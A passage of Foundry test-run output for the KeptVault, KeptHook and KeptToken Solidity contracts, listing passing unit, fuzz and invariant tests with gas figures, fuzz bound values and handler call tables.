0 failed; 0 skipped; finished in 2.56ms (1.38ms CPU time)\n\nRan 2 tests for test/KeptVaultTokenCompatibility.t.sol:KeptVaultTokenCompatibilityTest\n[PASS] test_standardTokenSharedPledgesSettleAndRefundIndependently() (gas: 1956008)\n[PASS] test_unsupportedBalanceShrinkCanStrandLastTrancheAndBudget() (gas: 1167841)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.58ms (2.21ms CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:ActorsHandlerReachTest\n[PASS] test_handlerReachesEveryPath() (gas: 5595952)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 7200\n  Bound result 500000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 42\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.84ms (2.85ms CPU time)\n\nRan 5 tests for test/KeptToken.t.sol:KeptTokenTest\n[PASS] testFuzz_transferConservesSupply(uint256) (runs: 256, μ: 80301, ~: 80728)\nLogs:\n  Bound result 88903465581684793125916180\n\n[PASS] test_approveAndTransferFrom() (gas: 325364)\n[PASS] test_metadataAndSupply() (gas: 54335)\n[PASS] test_noAdminSurface() (gas: 146892)\n[PASS] test_transfer() (gas: 143301)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 134.52ms (4.11ms CPU time)\n\nRan 5 tests for test/KeptHookLaunch.t.sol:KeptHookLaunchTest\n[PASS] test_constructorsRejectNativeValue() (gas: 2750902)\n[PASS] test_hookDeploysOnAnEmptyChainWithLaunchArguments() (gas: 4933152)\n[PASS] test_hookRefusesAnAddressWithoutItsPermissionBits() (gas: 1074487)\n[PASS] test_runtimesFitAndHaveNoForbiddenOpcodes() (gas: 18278136)\n[PASS] test_tokenMintsTheWholeSupplyToItsDeployer() (gas: 25482)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 142.70ms (34.46ms CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsTheProtocolSignature() (gas: 20019)\n[PASS] test_callbackSelectorIsCanonical() (gas: 3543)\n[PASS] test_digestMatchesTheProtocol() (gas: 13531)\n[PASS] test_keptVerdictFromTheVectorKey() (gas: 1339588)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 154.40ms (1.50ms CPU time)\n\nRan 3 tests for test/KeptVaultLaunch.t.sol:KeptVaultLaunchTest\n[PASS] test_constructorRejectsNativeValue() (gas: 2066681)\n[PASS] test_exactLaunchArgumentsDeployOnEmptyChainWithoutInitialization() (gas: 6852797)\n[PASS] test_runtimeFitsAndHasNoForbiddenOpcodes() (gas: 31002565)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 154.45ms (60.84ms CPU time)\n\nRan 33 tests for test/KeptVaultFailurePaths.t.sol:KeptVaultFailurePathsTest\n[PASS] testFuzz_setPanelAcceptsExactlyAStrictMajority(uint16,uint16) (runs: 1000, μ: 58892, ~: 58236)\nLogs:\n  Bound result 61\n  Bound result 11\n\n[PASS] testFuzz_settlementSplitsExactly(uint8,uint256,uint96) (runs: 500, μ: 3517172, ~: 2936196)\nLogs:\n  Bound result 7\n  Bound result 1799\n\n[PASS] test_adminFunctionsAreOwnerOnly() (gas: 95606)\n[PASS] test_attackerIntakeCannotDeliver() (gas: 1948716)\n[PASS] test_attestationIssuedTooFarInTheFutureIsRefused() (gas: 1383449)\n[PASS] test_cancelAndExecuteNeedAPendingChange() (gas: 247717)\n[PASS] test_checkRefusedOnceKeptOrSettled() (gas: 1719481)\n[PASS] test_checkUnknownPledgeOrMilestone() (gas: 585394)\n[PASS] test_clearStaleFailurePathsAndBoundary() (gas: 1518075)\n[PASS] test_constructorPanelEdges() (gas: 13400)\n[PASS] test_constructorRejectsMissingAddresses() (gas: 11494)\n[PASS] test_creatorWithoutAllowanceCannotCreate() (gas: 366975)\n[PASS] test_duplicateDeliveryIsRefused() (gas: 1455648)\n[PASS] test_emptyAndMalleatedSignaturesAreRefused() (gas: 1451766)\n[PASS] test_expiryBeforeIssueIsRefused() (gas: 1288289)\n[PASS] test_fundFailurePaths() (gas: 621946)\n[PASS] test_imdAsPledgeTokenStaysApartFromBudgets() (gas: 1583377)\n[PASS] test_keptSettlementByAnyoneAlwaysPaysTheBeneficiary() (gas: 1423159)\n[PASS] test_lateAnswerAfterBurnIsRefused() (gas: 1370427)\n[PASS] test_noThenKeptPaysOutAndRebatesOnlyTheKeptCheck() (gas: 2019343)\n[PASS] test_ownerHandoverMovesTheRole() (gas: 104374)\n[PASS] test_pledgesAreIsolated() (gas: 2701013)\n[PASS] test_proposeRejectsZeroFields() (gas: 92190)\n[PASS] test_reentrantTokenCannotReenterSettle() (gas: 2945041)\n[PASS] test_renouncedOwnerCannotAdminister() (gas: 114808)\n[PASS] test_reproposalRestartsTheDelayAndExecutesOnce() (gas: 264436)\n[PASS] test_retiredIntakeCannotAnswerTheNewIntakesRequests() (gas: 2209969)\n[PASS] test_settleBoundaryIsStrictlyAfterGrace() (gas: 590082)\n[PASS] test_signatureForAnotherVaultIsRefused() (gas: 1284780)\n[PASS] test_threeNoVerdictsExhaustAttempts() (gas: 2583960)\n[PASS] test_withdrawUnknownPledgeAndEmptyBudget() (gas: 474327)\n[PASS] test_worstCaseCallbackFitsTheStipend() (gas: 4485373)\n[PASS] test_zeroQuoteRefusesCheckAndSpendsNothing() (gas: 547095)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 156.85ms (323.96ms CPU time)\n\nRan 2 tests for test/KeptHook.t.sol:KeptHookOpeningTokenFirstTest\n[PASS] test_oneWeiSwapOnEmptyPoolIsChargedButDoesNotOpenTheWindow() (gas: 921008)\n[PASS] test_oneWeiSwapOnSeededPoolDoesNotOpenTheWindowEither() (gas: 649795)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 158.51ms (2.18ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1306192, ~: 1276057)\nLogs:\n  Bound result 2970\n  Bound result 899000000000000000000001569\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 756615, ~: 756397)\nLogs:\n  Bound result 1096\n  Bound result 3674\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 763368, ~: 762034)\nLogs:\n  Bound result 3599\n  Bound result 2824\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6264779)\n[PASS] test_callbacksOnlyManager() (gas: 119485)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56290)\n[PASS] test_constructorRejectsBadConfig() (gas: 10801)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 4095208)\n[PASS] test_feeSchedule() (gas: 3396858)\n[PASS] test_noLiquidityNoFee() (gas: 216672)\n[PASS] test_onlyFactoryInitializes() (gas: 245701)\n[PASS] test_onlyOnePoolEver() (gas: 45590)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 861124)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1113006)\n[PASS] test_partialFillsAllModes() (gas: 2961581)\n[PASS] test_permissionBits() (gas: 5905)\n[PASS] test_sweepDuringUnlockDefers() (gas: 611252)\n[PASS] test_sweepFundsTheReferee() (gas: 1281506)\n[PASS] test_sweepIncludesDirectDonations() (gas: 177985)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 158.58ms (302.83ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTokenFirstTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1296800, ~: 1299674)\nLogs:\n  Bound result 2970\n  Bound result 899000000000000000000001651\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 745037, ~: 744089)\nLogs:\n  Bound result 2970\n  Bound result 1650\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 752924, ~: 754197)\nLogs:\n  Bound result 80\n  Bound result 1606714308\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6268154)\n[PASS] test_callbacksOnlyManager() (gas: 120200)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56290)\n[PASS] test_constructorRejectsBadConfig() (gas: 10801)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 4076987)\n[PASS] test_feeSchedule() (gas: 3385826)\n[PASS] test_noLiquidityNoFee() (gas: 207898)\n[PASS] test_onlyFactoryInitializes() (gas: 246439)\n[PASS] test_onlyOnePoolEver() (gas: 45818)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 858253)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1097793)\n[PASS] test_partialFillsAllModes() (gas: 2953993)\n[PASS] test_permissionBits() (gas: 5905)\n[PASS] test_sweepDuringUnlockDefers() (gas: 600448)\n[PASS] test_sweepFundsTheReferee() (gas: 1276209)\n[PASS] test_sweepIncludesDirectDonations() (gas: 177985)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 158.59ms (400.51ms CPU time)\n\nRan 14 tests for test/KeptVaultAudit.t.sol:KeptVaultAuditTest\n[PASS] testFuzz_explicitPriceLimit(uint96,uint96) (runs: 256, μ: 887470, ~: 589240)\nLogs:\n  Bound result 17462\n  Bound result 20709\n\n[PASS] testFuzz_snapshotCheckClosesAtDeadline(uint8,uint32) (runs: 256, μ: 717503, ~: 704682)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] testFuzz_snapshotRejectsVerdictIssuedAfterDeadline(uint8,uint32) (runs: 256, μ: 1557440, ~: 1563568)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] testFuzz_snapshotSignedAtDeadlineCanArriveLater(uint8,uint32) (runs: 256, μ: 1580491, ~: 1586605)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] test_checkOpenDistinguishesDefaultAndExplicitPriceCaps() (gas: 505594)\n[PASS] test_creatorCanCheckWhenAlsoBeneficiary() (gas: 1404603)\n[PASS] test_creatorCannotExhaustBeneficiaryAttempts() (gas: 1591611)\n[PASS] test_creatorCannotUseExplicitPriceCheckOrClearStaleAsSideEffect() (gas: 1243379)\n[PASS] test_defaultPriceCapRejectsRepricedIntake() (gas: 588079)\n[PASS] test_defaultPriceCapSurvivesTimelockedIntakeReplacement() (gas: 1376226)\n[PASS] test_explicitCapCanAcceptNewPriceAndRebateActualPrice() (gas: 1507048)\n[PASS] test_githubPublicationDeadlineStillAllowsGraceCheck() (gas: 1443934)\n[PASS] test_priceCapFailureDoesNotClearStaleCheck() (gas: 1282371)\n[PASS] test_zeroQuoteRemainsInvalidEvenWithExplicitCap() (gas: 497017)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 158.94ms (499.15ms CPU time)\n\nRan 43 tests for test/KeptVault.t.sol:KeptVaultTest\n[PASS] test_attestationCannotBeReplayedOnAnotherCheck() (gas: 1726979)\n[PASS] test_callbackOnlyFromIntake() (gas: 1254102)\n[PASS] test_callbackRejectsExpiredAttestation() (gas: 1264729)\n[PASS] test_callbackRejectsUnknownRequest() (gas: 1254900)\n[PASS] test_callbackRejectsWeakOrMismatchedAttestations() (gas: 1991894)\n[PASS] test_callbackRejectsWrongAnswerType() (gas: 1289194)\n[PASS] test_callbackRejectsWrongSigner() (gas: 1270836)\n[PASS] test_chainEvidenceAcceptsDeployerSettledVerdict() (gas: 1240396)\n[PASS] test_checkNeedsBudget() (gas: 1237961)\n[PASS] test_checkOpenReportsBudget() (gas: 543071)\n[PASS] test_checkPaysIntakeFromBudget() (gas: 1267661)\n[PASS] test_checkRejectsIntakeThatDoesNotPull() (gas: 1014807)\n[PASS] test_checkRejectsRepeatedRequestId() (gas: 1697655)\n[PASS] test_createPullsTokensAndBudget() (gas: 477341)\n[PASS] test_createRejectsBadQuestionStrings() (gas: 2756885)\n[PASS] test_createRejectsTaxedToken() (gas: 1114020)\n[PASS] test_createValidatesMilestones() (gas: 704836)\n[PASS] test_createValidatesPledge() (gas: 192120)\n[PASS] test_falseVerdictKeepsMilestoneOpen() (gas: 1861435)\n[PASS] test_inFlightCheckStaysBoundToItsIntake() (gas: 1486471)\n[PASS] test_isoDate() (gas: 41366)\n[PASS] test_keptPaysBeneficiaryAndReturnsBudget() (gas: 1528583)\n[PASS] test_keptRebatesFromRefereeFund() (gas: 1579314)\n[PASS] test_multiMilestoneMixedOutcomes() (gas: 3152001)\n[PASS] test_newChecksUseTheRotatedSigner() (gas: 1529920)\n[PASS] test_noRebateWhenFundIsShort() (gas: 1424042)\n[PASS] test_oneCheckInFlight() (gas: 1172688)\n[PASS] test_onlyBeneficiaryChecksBeforeDeadline() (gas: 1177243)\n[PASS] test_onlyBeneficiaryChecksEvenAfterDeadline() (gas: 1264896)\n[PASS] test_ownerHasNoPathToLockedTokens() (gas: 540546)\n[PASS] test_panelChangeOnlyAffectsNewPledges() (gas: 871407)\n[PASS] test_panelEvidenceNeedsQuorumAgreement() (gas: 1286460)\n[PASS] test_protocolChangeWaitsSevenDays() (gas: 224290)\n[PASS] test_questionBodies() (gas: 68804)\n[PASS] test_questionOfMatchesPreview() (gas: 496487)\n[PASS] test_settleBurnsAfterStaleLastCheck() (gas: 1368568)\n[PASS] test_settleTwiceReverts() (gas: 528241)\n[PASS] test_settleWaitsForCheckInFlight() (gas: 1450907)\n[PASS] test_signerRotationDoesNotStrandChecksInFlight() (gas: 1496054)\n[PASS] test_staleCheckRetriesAndAttemptsCap() (gas: 1744575)\n[PASS] test_unprovenMilestoneBurns() (gas: 644737)\n[PASS] test_valueTemplateRejectsZeroThreshold() (gas: 195184)\n[PASS] test_withdrawBudgetOnlyWhenFinished() (gas: 844312)\nSuite result: ok. 43 passed; 0 failed; 0 skipped; finished in 158.98ms (24.62ms CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:KeptVaultActorsInvariantTest\n[PASS]\nKeptVaultActorsInvariantTest invariants:\n[PASS] invariant_imdConserved\n[PASS] invariant_openCountMatches\n[PASS] invariant_rulesHold\n[PASS] invariant_teamTokensConserved\n KeptVaultActorsInvariantTest invariants (runs: 64, calls: 6400, reverts: 0)\n\n╭---------------+----------+-------+---------+----------╮\n| Contract      | Selector | Calls | Reverts | Discards |\n+=======================================================+\n| ActorsHandler | answer   | 596   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | check    | 565   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | clear    | 605   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | create   | 582   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | donate   | 599   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | fund     | 553   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | reprice  | 562   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | rotate   | 585   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | settle   | 583   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | wait     | 552   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | withdraw | 618   | 0       | 0        |\n╰---------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 700000000000008196\n  Bound result 1766\n  Bound result 21017\n  Bound result 40\n  Bound result 4\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 12730\n  Bound result 16303\n  Bound result 1\n  Bound result 13342\n  Bound result 1\n  Bound result 700000000000003811\n  Bound result 10236\n  Bound result 2\n  Bound result 820011\n  Bound result 235\n  Bound result 820011\n  Bound result 235\n  Bound result 8056\n  Bound result 700000000000016115\n  Bound result 700000000000016121\n  Bound result 1\n  Bound result 860473\n  Bound result 834608682242094266405572\n  Bound result 1904081839772479143\n  Bound result 1\n  Bound result 2\n  Bound result 172800\n  Bound result 1\n  Bound result 84154\n  Bound result 1519338577213101\n  Bound result 1943390248827724407\n  Bound result 700000000000009351\n  Bound result 1\n  Bound result 1\n  Bound result 1488\n  Bound result 4\n  Bound result 2\n  Bound result 2827\n  Bound result 4\n  Bound result 1\n  Bound result 42161\n  Bound result 3593\n  Bound result 1441\n  Bound result 4\n  Bound result 4096\n  Bound result 1466659622\n  Bound result 4096\n  Bound result 1466659622\n  Bound result 4096\n  Bound result 1466659622\n  Bound result 4096\n  Bound result 1466659622\n  Bound result 1064470261\n  Bound result 6\n  Bound result 19032\n  Bound result 12940\n  Bound result 1849\n  Bound result 5\n  Bound result 4\n  Bound result 3\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 1243377696693487047\n  Bound result 2\n  Bound result 5\n  Bound result 1\n  Bound result 189\n  Bound result 7\n  Bound result 12652\n  Bound result 6\n  Bound result 3\n  Bound result 4\n  Bound result 2\n  Bound result 1\n  Bound result 16515\n  Bound result 700000000000015177\n  Bound result 5\n  Bound result 3\n  Bound result 13334\n  Bound result 2376452955\n  Bound result 13334\n  Bound result 2376452955\n  Bound result 13334\n  Bound result 2376452955\n  Bound result 20340\n  Bound result 4\n  Bound result 1705\n  Bound result 700000000000005437\n  Bound result 28800\n  Bound result 4\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 372815452998599942\n  Bound result 2\n  Bound result 4\n  Bound result 4\n  Bound result 2\n  Bound result 5361\n  Bound result 7987\n  Bound result 1216563762\n  Bound result 351456840210681406\n  Bound result 7\n  Bound result 1484606236135815536\n  Bound result 42\n  Bound result 4\n  Bound result 9\n  Bound result 10300\n  Bound result 3\n  Bound result 47\n  Bound result 2\n  Bound result 5643657678917\n  Bound result 7\n  Bound result 1\n  Bound result 860502\n  Bound result 15514\n  Bound result 1626\n  Bound result 5\n  Bound result 1\n  Bound result 1337976678897077669\n  Bound result 1000000000000000000\n  Bound result 5\n  Bound result 7\n  Bound result 27\n  Bound result 700000000000009485\n  Bound result 4\n  Bound result 6718\n  Bound result 580476718498002455\n  Bound result 8\n  Bound result 3\n  Bound result 8\n  Bound result 616684279554989\n  Bound result 1149634294\n  Bound result 2\n  Bound result 860441\n  Bound result 834608682242107262407008\n  Bound result 860441\n  Bound result 834608682242107262407008\n  Bound result 15587\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.73s (5.73s CPU time)\n\nRan 1 test for test/VaultInvariant.t.sol:VaultInvariantTest\n[PASS]\nVaultInvariantTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultInvariantTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86937\n  Bound result 1432\n  Bound result 1\n  Bound result 863941\n  Bound result 1799\n  Bound result 1599\n  Bound result 8886\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 1\n  Bound result 16387\n  Bound result 2018\n  Bound result 4725\n  Bound result 2\n  Bound result 1\n  Bound result 18\n  Bound result 2\n  Bound result 900\n  Bound result 1482\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 9471\n  Bound result 121945\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 972\n  Bound result 2\n  Bound result 14181\n  Bound result 2\n  Bound result 20823\n  Bound result 6807\n  Bound result 20823\n  Bound result 6807\n  Bound result 8179\n  Bound result 1\n  Bound result 483\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 1\n  Bound result 3\n  Bound result 516\n  Bound result 3\n  Bound result 2\n  Bound result 11\n  Bound result 96\n  Bound result 4\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 1606\n  Bound result 2\n  Bound result 4\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 844\n  Bound result 5\n  Bound result 816850279\n  Bound result 4\n  Bound result 5\n  Bound result 12957\n  Bound result 3\n  Bound result 200000\n  Bound result 17024\n  Bound result 200000\n  Bound result 17024\n  Bound result 200000\n  Bound result 17024\n  Bound result 231\n  Bound result 2\n  Bound result 4060877235\n  Bound result 6\n  Bound result 4\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 12661\n  Bound result 7\n  Bound result 5366\n  Bound result 4\n  Bound result 8837\n  Bound result 7\n  Bound result 4\n  Bound result 1059556801179054880\n  Bound result 4\n  Bound result 8629\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 3\n  Bound result 5\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 42759\n  Bound result 3074\n  Bound result 4\n  Bound result 5\n  Bound result 2028057827454112400\n  Bound result 7\n  Bound result 44504976602784287\n  Bound result 2\n  Bound result 5\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 10191\n  Bound result 3\n  Bound result 172800\n  Bound result 4\n  Bound result 12902\n  Bound result 16208\n  Bound result 12902\n  Bound result 16208\n  Bound result 12902\n  Bound result 16208\n  Bound result 12902\n  Bound result 16208\n  Bound result 5615\n  Bound result 5\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 9\n  Bound result 6\n  Bound result 7\n  Bound result 446\n  Bound result 1\n  Bound result 19381\n  Bound result 2\n  Bound result 2\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 2221339668\n  Bound result 7\n  Bound result 9\n  Bound result 14658\n  Bound result 1\n  Bound result 3\n  Bound result 3926\n  Bound result 10\n  Bound result 9\n  Bound result 3\n  Bound result 7914\n  Bound result 16442\n  Bound result 7914\n  Bound result 16442\n  Bound result 7914\n  Bound result 16442\n  Bound result 9912\n  Bound result 2116\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 8\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.61s (11.61s CPU time)\n\nRan 2 tests for test/VaultInvariant.t.sol:VaultHandlerSmokeTest\n[PASS]\nVaultHandlerSmokeTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultHandlerSmokeTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86936\n  Bound result 3521045371\n  Bound result 3\n  Bound result 863941\n  Bound result 2014\n  Bound result 863941\n  Bound result 2014\n  Bound result 863941\n  Bound result 2014\n  Bound result 10038\n  Bound result 2286\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 1\n  Bound result 732361\n  Bound result 726142741105178168243183\n  Bound result 6018\n  Bound result 2\n  Bound result 2\n  Bound result 18\n  Bound result 1\n  Bound result 900\n  Bound result 1482\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 10173\n  Bound result 121945\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1245\n  Bound result 1\n  Bound result 14477\n  Bound result 2\n  Bound result 20823\n  Bound result 8288\n  Bound result 20823\n  Bound result 8288\n  Bound result 8378\n  Bound result 1\n  Bound result 483\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 1\n  Bound result 3\n  Bound result 3\n  Bound result 3\n  Bound result 2\n  Bound result 3926\n  Bound result 2\n  Bound result 2\n  Bound result 11\n  Bound result 96\n  Bound result 4\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 862\n  Bound result 2\n  Bound result 4\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 845\n  Bound result 5\n  Bound result 816850279\n  Bound result 5\n  Bound result 5\n  Bound result 13017\n  Bound result 3\n  Bound result 200000\n  Bound result 17020\n  Bound result 200000\n  Bound result 17020\n  Bound result 200000\n  Bound result 17020\n  Bound result 1243\n  Bound result 2\n  Bound result 4640\n  Bound result 3\n  Bound result 4\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 12838\n  Bound result 7\n  Bound result 6157\n  Bound result 7\n  Bound result 74436\n  Bound result 4\n  Bound result 4\n  Bound result 563811621033389910\n  Bound result 7\n  Bound result 8974\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 3\n  Bound result 4\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 42759\n  Bound result 4782\n  Bound result 4\n  Bound result 5\n  Bound result 563811621033363778\n  Bound result 1\n  Bound result 1125891786828490917\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 10301\n  Bound result 5\n  Bound result 172800\n  Bound result 4\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 5607\n  Bound result 7\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 9\n  Bound result 6\n  Bound result 7\n  Bound result 10231\n  Bound result 1\n  Bound result 19492\n  Bound result 2\n  Bound result 3\n  Bound result 860502\n  Bound result 4718\n  Bound result 860502\n  Bound result 4718\n  Bound result 860502\n  Bound result 4718\n  Bound result 818\n  Bound result 8\n  Bound result 9\n  Bound result 1547112995272072466\n  Bound result 1\n  Bound result 3\n  Bound result 2882\n  Bound result 10\n  Bound result 9\n  Bound result 3\n  Bound result 7789\n  Bound result 16543\n  Bound result 7789\n  Bound result 16543\n  Bound result 7789\n  Bound result 16543\n  Bound result 7959\n  Bound result 2131\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 9\n\n[PASS] test_handlerReachesPayoutAndBurn() (gas: 2028271)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 